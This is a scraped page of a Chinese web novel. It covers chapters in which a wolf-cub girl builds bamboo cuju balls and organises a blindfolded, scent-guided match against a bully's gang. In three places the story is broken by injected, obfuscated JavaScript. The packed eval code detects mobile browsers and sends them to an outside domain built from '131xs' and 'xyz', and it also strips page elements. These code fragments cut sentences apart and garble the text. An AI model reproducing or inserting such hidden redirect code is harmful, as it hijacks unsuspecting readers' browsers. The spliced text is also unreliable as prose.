柴棉棉心里好受很多,但她还是忍不住解释:“我之所以那样做,是不能让壮壮抢我们抢成习惯。如果我们真的顺从他,给他一半的刺莓果干,那下次他再想要我们家的东西,就会又抓住你们两个威胁我,那以后我们努力获得的一切好东西,都要被他们抢去大半,甚至他们可能会越来越贪婪,最后什么都不留给我们。” 黑黑恍然大悟。 这些东西他心里隐隐约约能明白,但是不能像棉棉那样很清楚地说出来。 柴棉棉继续说:“所以我们不能按照他的节奏来,得将他带入我们的节奏。我必须拿出比他想要的更多赌注,引动他的贪婪之心,又用大人威胁他,才能让他服从。” 黑耳看向棉棉,眼睛里不自觉地带了些敬佩:“棉棉,你真的好聪明。” 他能够感觉到,那是一种不同于武力但丝毫不亚于武力的强大力量,在无形之间改变敌人的思想、操纵敌人的行径,而且看起来无害、不会引起敌人的警惕,简直杀伤力无形。 他心底最深处不由自主地升起了一股向往之情,让他更认真地倾听棉棉的话,更愿意相信棉棉的决定。 芽芽听了一会儿,忍不住说:“但是如果那个强者的游戏我们不能赢,前面做的一切都白费了吧?” 柴棉棉点头:“所以我们必须赢。” 芽芽担忧:“我们会赢吗?” 柴棉棉的手不由自主地颤抖了一下,她握紧拳头,一字一顿地说:“我会竭尽全力。” 她看向黑耳:“能请圆斑再帮我砍几根1-2年生的青竹回来吗?我可以用刺莓果干做报酬。” 黑耳说:“没问题,你要做什么?” 柴棉棉说:“我要做蹴鞠。” “蹴鞠?” 一道熟悉的声音从洞穴门口传来,黑耳高兴地转头看过去:“哥,你回来了?” 圆斑嗯了一声,提起手里的猎物:“带饭回来给你。” 黑耳拿了一颗红果干给他:“刺莓果干已经晒好了,你尝尝。” 圆斑接过刺莓果干不假思索往嘴里一扔,牙齿一咬,顿了顿,神情自然地改嚼为含,坐下来问:“蹴鞠是什么?” 柴棉棉解释:“蹴鞠是一种运动,鞠是一种竹子做的球,可以用脚踢来踢去。” 圆斑懂了,但没全懂:“刚才在门外,我听见你想请我帮忙,砍几根竹子回来是吧?” 柴棉棉点头。 圆斑:“没问题。不光是砍竹子,做蹴鞠球有任何需要我帮忙的都可以找我。不过我不要刺莓果干做报酬,我希望你做出蹴鞠球之后告诉我是怎么玩儿的,如果能送我一个蹴鞠球那就更好了。” 柴棉棉:“可以。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179543|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她起身带着黑黑灰灰告辞,都到饭点了,阿妈肯定也在家里等着他们回去吃饭。 食物很珍贵,尤其是肉,是狼填饱肚子和增长力量的重要来源,没有正式的请吃饭邀请,她不可能厚脸皮赖在黑耳家不走。 到了下午,圆斑扛着一大捆竹子过来:“你看看,行吗?” 柴棉棉仔细检查一遍,点点头。 黑黑问:“还是先放浅溪里泡一遍?” 柴棉棉摇头:“蹴鞠是一个被人踢来踢去的球,对竹骨的柔韧性要求很高。这次我们不泡,我们煮。” 先对竹子做初步的处理,截段、劈条、刮去竹青,再将竹条放入锅中,加水煮半小时,然后捞出来在阴凉通风处晾干一会儿,若手指按上去感觉有一点儿软,就是煮好了。 取5根半湿的竹条按照压一挑一的方式互相交叉,在平整的石台上摆成一个五角星形。再拿起第6根竹条弯成一个大小适中的圆环,接口处用细草绳绑紧。 竹条很长,5根竹条压一挑一互相交叉后,形成五角星形的每一个角都会自然延伸出两根竹条。每一个角都选择拿起被压住的那根竹条,用左手捏住,右手拿起圆环套上去,使得五根被压住的竹条从圆环中心穿过来。 将圆环轻轻往下压一压,压到五角星形的上方,松手使得五根穿过圆环的竹条自然散开,它们因为被圆环外扣住,就自然而然张牙舞爪般竖起来了。 转到五角星形的侧面,可以看到相邻的两个角延伸出来距离更近的两根竹条,必定是一根在圆环里面张牙舞爪竖着,一根在圆环外面躺平,使这两根竹条在圆环上方交叉,让竖着的压住躺平的,这样躺平的也竖起来了。 这个交叉点需要暂时用夹子夹住,但是夹子?……她后知后觉,这里根本没有夹子。 柴棉棉抬起头,看见耐心守在旁边的黑黑,笑道:“黑黑,你帮我把这个交叉点捏住好不好?” 黑黑伸出两根手指处,小心翼翼地捏住:“是这样吗?” 柴棉棉点头:“对,是这样。” 然后到了第二个交叉点,就叫火娃帮忙捏住;第三个,就叫芽芽帮忙捏住;第四个,黑耳;第五个,还有在旁边看热闹不肯离开的圆斑。 五个伙伴,加上一个硬挤进来的灰灰,六个人围绕她蹲了大半圈。 圆斑忍不住感叹:“天呐,这蹴鞠球没几个伙伴帮忙竟然还做不成。” “是啊。”柴棉棉深表赞同,然后心里美滋滋了一瞬,“幸好她有这么多伙伴。” 柴棉棉继续交叉邻近竹条,依旧是让被压住的竹条压住另一根竹条,然后让灰灰移动手指,转为捏住上方的交叉点。 如此五遍之后,圆球已经基本成形,只差最后顶上方的封口。 柴棉棉找到本属于一根竹条的两个末端,让它俩重合成一个圆环,有多余的就顺着它原本压一挑一的规律往下塞,塞到最后用细草绳紧紧绑住。 如此重复五遍,重合出五个互相交叉的圆环,在圆球顶部也交叉出一个五角星形,就算成功了。 柴棉棉掌心向上,托住它轻轻晃动,使它小幅度滚来滚去,弯眼抿唇一笑:“看,蹴鞠球。” 18. 第 18 章 黑黑拿起蹴鞠球,惊奇地睁大眼睛,像是在看什么特别神奇的物品:“真圆啊,比溪水里的鹅卵石还圆,比鸟蛋还圆。” 他将蹴鞠球放在平整的石台上,轻轻地推动了一下,球瞬间往外滚动了半圈。 再用另一只手轻轻推一下,球立刻反方向滚动半圈。 两只手轮流推来推去,球就在两手之间滚来滚去,黑黑紧紧盯着那个球,黄澄澄的眼睛越来越亮,他仿佛被唤醒了什么天性,兴奋得耳朵都要竖起来了。 “欸?好好玩儿~” 周围的小伙伴们跃跃欲试,纷纷伸手:“让我玩玩!让我玩玩!” 柴棉棉连忙将球收回手中,说:“目前只是做了球的骨架,还不是特别牢固,等我做好了你们再玩。” 几双或深或浅的黄眼睛顿时失望又渴望巴巴地望着她,柴棉棉却不得不硬下心肠拒绝他们。 圆斑心里也蠢蠢欲动,觊觎着那个球,但他还有几分理智:“棉棉,那接下来要做什么?” 柴棉棉说:“接下来,得在球里面塞点东西填实,不然经不住脚踹。” 一般来说,往球里面塞些碎布头或者几件旧衣服就行,但是这里没有布料,兽皮也很珍贵,不能这么浪费。 圆斑想了想:“塞些草叶子进去可以吗?” “可以。”柴棉棉脑海中灵光一闪,有了主意,“圆斑,你有没有在水边见过一种植物?杆子很高,比两个我还高,到了秋天,也就是这个时候,杆子上方有一大蓬花像白绒绒的毛。这种植物大片大片地生长在一起,风一吹杆子就摇,连带着杆子上方的白绒绒一起晃荡,远远看上去像天上的云海一样。” 她描述得特别具体形象,圆斑一下子就想起来了:“见过,这种植物多得是。不过大人不准我们钻进去玩,因为杆子又高又密又多,小孩子摔跤掉里面了大人找不到。” 柴棉棉:“这种植物叫芦苇,杆子上面一大蓬白绒绒叫芦花。你能帮我砍一些芦苇回来吗?我想摘上面的芦花填进球里。” 圆斑毫不犹豫:“没问题,包在我身上。” 柴棉棉不太放心,嘱咐道:“你在最外面割一些扛回来就行,千万别钻进去,很危险的。” “我知道!”圆斑忍不住吐槽,“你一个小崽子,真是操心够多的,像我阿妈阿爸一样。” 柴棉棉有些尴尬,脸蛋热热的。 圆斑出去了一趟,很快便扛着一大捆芦苇回来了。 刚摘下来的芦花不能直接用,要平铺放在太阳下面晒一晒,去除残余的水汽,增加蓬松度。 正好家里有刚晒了刺莓果干的扁箩筐,简单擦去灰尘,将芦花均匀铺洒在上面,放在竹架子上搬到门口晒就行。 第二天,芦花晒得差不多了,球的竹骨架也在阴凉通风处晾得初步定型了。 柴棉棉抓起芦花大把大把地往球里塞,尽可能填满但保留一点弹性。 然后煮软更多的竹条,沿着球的竹骨交叉点环绕编织,辅以细草绳系牢扎紧,一点一点将球的缝隙全部编织盖住,最后变成一个不见任何缝隙的圆竹球。 再晾一夜,晒半个白天,第三天下午,柴棉棉大声宣布:“蹴鞠球做好啦!” 立刻遭到小伙伴们的哄抢。 “让我先玩。” “让我先玩!” “不,让我先玩!” “……” 最后圆斑凭借身高优势抢到了第一玩乐权。 他两只手将球倒来倒去,动作越来越熟练,便改为抛来抛去:“棉棉,这个球是要拿来踢的吧?” 柴棉棉点头:“你踢踢看,别踢得找不到了就行。” 圆斑左右张望一圈,谨慎地选了个方向,抛起球抬脚轻轻一踢。 球嗖地一下飞出去,在半空划出一条长长的弧线,飞向了远方。 几双眼睛追踪着球的轨迹,又齐齐转头看向她,柴棉棉莞尔一笑:“看着我干什么?快追呀!” 小崽们顿时仿佛被激活了什么天性,齐刷刷变成狼形态,嗷呜嗷呜地竖着耳朵就往球飞走的那边奔跑过去。 他们争先恐后地向前奔跑,孜孜不倦地在树丛灌木杂草里面搜寻,找到了就兴奋地嗷呜嗷呜大喊,然后兴致勃勃地用脑袋顶来顶去。 从这边跑到那边,再从那边跑到这边。 精力旺盛,不知疲倦。 圆斑发出羡慕的感叹:“啊~好想和他们一起玩。” 柴棉棉很奇怪:“为什么不去呢?” 圆斑一本正经地抱臂在胸:“我都已经5岁了,怎么能还和这群小崽子混在一起玩?不行不行。” 柴棉棉看他一眼,摇摇头:“奇怪的讲究。” 几只狼崽玩累了,趴在地上吐舌头粗喘气,黑黑和黑耳意犹未尽地把球推来推去。 柴棉棉走过去捡起竹球:“都脏了,我洗一洗,明天还要拿着它去见壮壮他们。” 黑黑不情愿地呜呜:“不想给壮壮玩儿。” 灰灰黑耳火娃芽芽深有同感地点点头。 柴棉棉笑了,安慰道:“没关系,等我们打赢壮壮他们,就可以一直玩了。” 黑黑担忧呜呜:“我们会赢吗?” 柴棉棉手指蓦然抖动一下,她露出笑容,强力镇定道:“我们会赢。” 接下来,她讲游戏规则,让黑耳火娃芽芽三个进行初步磨合练习。 她自己则点火煮竹条,准备做第二个蹴鞠球。 圆斑蹲在她身边:“你自己做的球,你为什么不玩一玩?” 柴棉棉忙得头也不抬:“只一个球,怕踢坏了,多做几个当备用。” 圆斑:“要帮忙吗?壮壮那家伙,我去警告一下就完了。” 柴棉棉看他一眼:“对你来说不合适吧?” 圆斑:“确实不合适。不过如果你愿意多做几个蹴鞠球送给我,那不合适我也做了。” 柴棉棉嘴角闪过些微笑意,又极快消失不见:“不用了,这是我们和壮壮之间的事,得我们自己解决。” 圆斑:“别这么说嘛,黑耳也是我弟弟。” 柴棉棉:“那黑耳之前屡次挨揍被抢东西,你怎么不管?” 圆斑沉默片刻:“小崽子之间的矛盾,只要不闹出大乱子,我不可能管。” 他耸了耸肩:“更何况,他总得学会面对困难。” 柴棉棉:“是啊,他总得学会面对困难,我也总得学会面对困难,所以,谢谢你。” 面对她真诚的目光,圆斑竟有一瞬间的羞赧,他挠了挠头,说:“如果真的搞不定了就来找我,别强撑。” 柴棉棉点头。 太阳彻底落山之前,柴棉棉抓紧时间,又做了两个蹴鞠球的骨架出来,然后要在阴凉通风处放一整夜,第二天就可以塞芦花了。 晚上睡觉,她左趴着睡不着,右趴着也睡不着。 趴来趴去地换方向,她满脑子胡思乱想,连兽皮下面的干草被频繁的动作弄得窸窸窣窣都没察觉。 “棉棉?你怎么了?”是阿妈低呜的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179544|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 柴棉棉动作一顿,回以呜呜:“没事,阿妈,我马上就要睡着了。” 明眸沉默片刻,怜惜又无奈地轻叹一声,呜呜道:“棉棉,到阿妈这里来,今晚阿妈陪你睡。” 柴棉棉一愣:“阿妈?” 明眸重复道:“过来。” 柴棉棉站起,慢慢走过去,跳上阿妈的床,依偎在她肚皮边躺下。 明眸伸出前爪,将白毛崽扒拉到怀里,伸出舌头一下一下地舔她的脑袋瓜子。 柴棉棉头皮一震,两只尖尖耳朵竖起,下意识便挣扎起来:“阿妈。” 明眸按住她,继续给她舔毛,喉咙里发出温柔的哄睡声音。 柴棉棉的心渐渐宁静下来,她躲在阿妈暖烘烘的怀抱里,鼻尖充盈着母亲安全又温馨的味道,眼皮一点一点变沉重。 ……她睡着了。 第二天天不亮,柴棉棉爬起来,检查两个阴干的备用蹴鞠球,见没什么问题便填充足量的芦花进去,然后照样通过编织竹条的方式,将球编得不留一丝缝隙。 吃过上午的饭,她带着三个蹴鞠球与伙伴们集合,一起出发去广场西侧灰岩块石堆那里。 壮壮几个已经在那里等着了,他们还是和那次一样,卧在最高的石头上,俯视众人。 壮壮变成人形,视线扫过黑耳、火娃、芽芽等人,最后落在棉棉怀里抱着的竹球上:“现在,你可以说游戏规则了。” 棉棉举起竹球,大声道:“这个叫鞠,我向你介绍的游戏叫蹴鞠。” “规则很简单,我出三个人,你出三个人,球放中间,我一喊开始,所有人都来抢球。不能用手,不能咬人,除此之外身体其他任意部位都可以使用。” “抢到球的一方需要在伙伴之间传球成功3次,3次成功传球之后由最初的抢球者负责射门,将球踢入对方球门可得1分,违反规则扣1分。一共比三场,哪边分多,哪边就赢了。” 石头确认道:“你的意思是我用脚踢、用脑袋顶、用肩膀撞都行,就是不能用手?” 柴棉棉点头:“对。” 壮壮疑惑道:“‘抢到球的一方需要在伙伴之间传球成功3次’什么意思?” 柴棉棉打了个通俗好懂的比方:“就是球放中间,你第一个抢到球,你把球传给阿蛮,阿蛮接住了,这是第1次成功;阿蛮传给石头,石头接住了,这是第2次成功;石头再传给你,你接住了,这是第3次成功。3次都成功,你就可以尝试踢球射门了。” 壮壮:“那我传给阿蛮,阿蛮再传给我,我再传给阿蛮?” 柴棉棉:“那就算你们传球成功3次,但是阿蛮还得再传给你,因为你才是最初抢到球的那个人。” 壮壮懂了:“那要是中间传球失败了呢?” 柴棉棉:“那之前的传球成功次数清零,你们得从0开始积累成功次数。” 阿蛮:“所以…这个游戏的关键是传球?” 柴棉棉点头,并补充:“是抢球、传球,射门以及拦截。” “那你们输定了呀。”阿蛮从鼻子里嗤出一口气,轻松的口吻充满傲慢和轻蔑,“黑耳他们什么时候抢东西抢得过我们?真不明白你搞这么复杂干什么?还不如直接认输,乖乖把刺莓果干给我们,至少我们还能给你留一半。” “别急,规则我还没说完呢。”柴棉棉丝毫不慌,“如果仅仅只是这些,那未免也太没有意思了,如何称得上‘强者的游戏’?所以我要加大难度,参与游戏比赛的六个人,要全部蒙上眼睛!” 19. 第 19 章 蒙上眼睛? 壮壮几个惊疑地互相对视一眼。 壮壮道:“你的意思是,这场游戏我们所有人都不能使用眼睛?” 柴棉棉点头。 石头:“不用眼睛,那我怎么知道这个球在哪里?要射到哪里去?” 柴棉棉说:“我会在球上涂上特殊的气味,至于要射入的球门,也可以涂上你们想要的气味。” 她见对面几个面露犹疑,故意激将道:“怎么?你们不敢?身为一只狼,失去了眼睛,你们就无法通过鼻子和耳朵捕捉猎物了?那也能算是强者?” 壮壮冷冷道:“强者不会惧怕任何困难。” 他打量棉棉手里的竹球,下巴微抬:“但是这个球是你们弄出来的,你们熟悉,我们却碰都没碰过,这不公平。” “这个球是我昨天下午做出来的,黑耳他们也只有一个下午的熟悉时间。”柴棉棉抬手一抛,将球抛入壮壮的怀中,“为了保证公平,也给你们半天的熟悉时间,今天下午再比赛,怎么样?” 壮壮思索半晌,点头:“可以。” 柴棉棉说:“那我先去准备场地,下午再见。” 她转头离开,去问圆斑:“山上除了广场,还有什么地方比较平整吗?不需要太大,六只狼崽跑得开就行。” 圆斑冲不远处的广场抬抬下巴:“为什么不直接用广场?” 柴棉棉:“呃……广场是大人们干活的地方,我们过去吵闹,不好吧?” 圆斑:“谁说的?广场是部落族人共有的,大人能用,我们小孩当然也能用。况且哪里吵闹了?你们正常比赛,没有故意大吵大嚷,而且现在是白天,广场也不是休息的地方,谁会说你们吵闹?” 柴棉棉:“好、好吧,那就直接在广场上比吧。” 她面朝广场的方向,看着,脚步一直不动。 圆斑见她期期艾艾的模样,若有所悟,主动道:“我陪你去吧。” 柴棉棉回神:“啊?谢谢、谢谢。” 她心里仍然觉得没有安全感,冲亲哥招手:“黑黑,你陪我去广场好不好?” 黑黑正在和伙伴们快乐地玩顶球,闻言,虽然觉得很奇怪,但他依旧点点头,变成人形跑过来。 亲哥在身边,柴棉棉仍然觉得少了点什么,于是又把灰灰叫来,紧挨着灰灰,感觉胳膊外侧陷在灰灰温暖柔软的毛毛里,她才觉得安心了。 两人一狼一起往广场走去。 圆斑落在后面,抱臂在胸,有些无语:“所以,一个人不够,要全家陪你一起去,你才敢去是吧?这胆子也真是够小的。” 他吐槽完,叹了口气,无奈地跟了上去。 广场约有十亩,土地里嵌着很多鹅卵石,被族人们细心别致地通过不同鹅卵石的颜色在广场中心拼出了一个巨大的狼头图腾。图腾的两只眼睛是两个巨大的火塘,旁边还建造了两个稍小些的石灶。 广场边缘,草棚子皮棚子三三两两,有人坐在门口干活,有人坐在棚子里忙活,他们绝大多数是老人。 柴棉棉左右张望片刻,在远离那些草棚子皮棚子的方向划出约四亩地的范围,厚着脸皮去石灶下面抓了两把草木灰,在选定的地方划区域线。 她忐忑不安地等了一会儿,见果然没有什么人出来呵斥她,心里暗暗松了一口气。 柴棉棉凝了凝神,专心画线。 大家都是第一次接触这个游戏,柴棉棉很明白规则越少越清晰越好。 所以她只画了一条中间线,以中间线为边分别向两边画对称的两个大小相等的长方形,再往外画两个稍小些的正方形。 然后拜托圆斑去砍竹子,做出两个球门框架,放在正方形里面。 忙活完一切,差不多就到下午了,大家吃得饱饱的,在广场集合。 壮壮把球抛来抛去,显然已经很熟练了:“棉棉,你打算给这球涂上什么气味?” “球给我。”柴棉棉拿出一个橙子,剥掉外皮,果肉攥在掌心用力挤压,使酸苦的橙子果汁均匀地滴落在竹球上。 石头深吸一口气:“这个味道……” 柴棉棉:“怎么样,够明显吧?” 石头无法反驳。 柴棉棉等了一会儿,确认橙子的味道已经顺着竹编缝隙渗进里面的芦花,轻易不会散去,便手托着球分别给两队六个人闻一闻记住味道,最后将球放在中间线的中心位置。 “好了,你们双方各自选一个球门染上自己熟悉的味道吧。” “注意,一局比赛结束,两方的场地是要互换的,你们不但要记住自己的味道,也要记住对方的味道。” 她话音刚落,六个小孩就齐刷刷变成狼崽,向两边球门跑去。 然后抬起腿,尿。 柴棉棉:…… 柴棉棉:…… 算了算了,都是狼,没毛病。 风中凌乱的柴棉棉如此安慰自己。 熟悉了球的气味,记住了球门的位置,柴棉棉让六个小孩变成人形,拿出早就准备好的兽皮和草绳,绑住他们的眼睛,又让他们双手握拳、分别裹住他们的双手。 “记住了,不可以用手,不可以用嘴咬,其余的都可以。” 那个叫棉棉的声音在耳边清脆幼稚地响起,又莫名带一股大人口吻的味道,阿蛮眼前一片黑暗,什么都看不见,他有些恐慌,想抬手摸一摸脸,结果只有拳头,手指也被裹住了。 “棉棉,黑黑的,有点吓人啊。”是芽芽那小子畏惧的声音。 “是啊,我都不敢迈脚了。”火娃那丫头也怂得要死。 “大家都冷静一点,不要乱跑。”黑耳那小子还在假装镇定。 对面的狼崽子们被吓得叽哇乱叫,果然都是废物,不像他们这边,一个吭声的都没有。 阿蛮虚张声势地想。 “黑耳说的没错,大家都冷静一点。眼睛看不见,你们就试着用耳朵听、用鼻子闻,在脑子里勾勒周围的场景。还记得吗?你们面对面站在一条线的两边,前面是橙子味的竹球,后面是对面三人尿液混合味道画出的球门。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187044|180883||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着棉棉的讲述,阿蛮脑子里逐渐浮现出周围的景象,虫子的叫声、树叶被风吹过的簌簌声、远处棚子里老人们说话做事的声音,青草的味道、泥巴的味道、枯叶的味道,当然还有存在感最强的橙子味和六只狼崽的尿液味道。 他甚至闻到了老大的味道、石头的味道,当然还有对面三个狼崽子的味道,能从中判断出他们的大约位置。 阿蛮的心渐渐安定下来,感觉可以打这一场比赛了。 “比赛双方都准备好了是吗?”棉棉的声音停顿片刻,见无人反驳,她便提高音量,“那么我宣布,第一场比赛,开始!” 阿蛮宛如一支离弦的箭冲向地上的竹球,下一瞬便听见壮壮大喊:“我抢到球了,阿蛮石头你们随时准备接球。” 阿蛮立刻就紧张起来了,大声回应:“好的,老大!” 柴棉棉手上有橙子味儿,不宜站得太近,容易干扰比赛。所以比赛开始之前她就退出去老远,在广场边缘找了块平整的石头站上去,临高临下,方便总揽全局。 她一喊开始,壮壮便以绝对的速度优势冲到最前面,抬脚往回一扒拉抢到了竹球,他刚开口通知队友,黑耳火娃芽芽三个就往他身上扑。 三个头槌,三份冲撞,壮壮猝不及防,扛不住这么大的力量冲撞,不由自主后退两步,球从他的脚边滚出去了。 壮壮:“……艹!” 他来不及无语,立刻大声道:“球跑了,抢球!” 阿蛮石头:“是,老大!” 黑耳火娃芽芽撞翻壮壮就闻到了竹球滚走,三个人同时朝竹球冲去,黑耳离得最近,第一个碰到球,但此时石头阿蛮也扑过来了。 黑耳急中生智,张开双臂抱住扑过来的石头阿蛮,同时脚下抬腿一踢,球立刻飞了出去。 “火娃,芽芽,追!” 火娃芽芽反应过来,转身立刻循着竹球的味道奔去。 石头阿蛮被黑耳的双臂锁住,立刻拧动身体挣扎出去,也是转头就跑,虽然只耽误了片刻,却已经落后火娃芽芽好大一截。 壮壮听明白动静,从地上爬起来,暴躁骂道:“两个废物!” 他像风一样从石头阿蛮身边掠过,一句清晰的骂声吓得两人同时一哆嗦,两人拼命加快速度,紧跟在老大身后。 不远处火娃芽芽已经寻到了竹球,正不知道该怎么办时,忽然远处传来黑耳的高喊:“火娃芽芽,这边!” 刹那间火娃福至心灵,对准竹球抬脚猛踢。 壮壮也反应过来了:“不好!” 来不及了,竹球已经飞上天,在他们头顶划过一道长长的弧线,往黑耳那边疾冲而去。 黑耳耳朵微动,捕捉竹球破开气流的轻微动静,不断奔跑调整方向,在离竹球最近时果断屈膝往上一跳,用胸膛接住了俯冲下来的竹球。 “黑耳接住了火娃的传球,记成功1次!” 周围顿时响起欢呼的声音。 壮壮情不自禁看石头阿蛮一眼,两人似乎也感觉到了壮壮的眼神,齐齐低下头。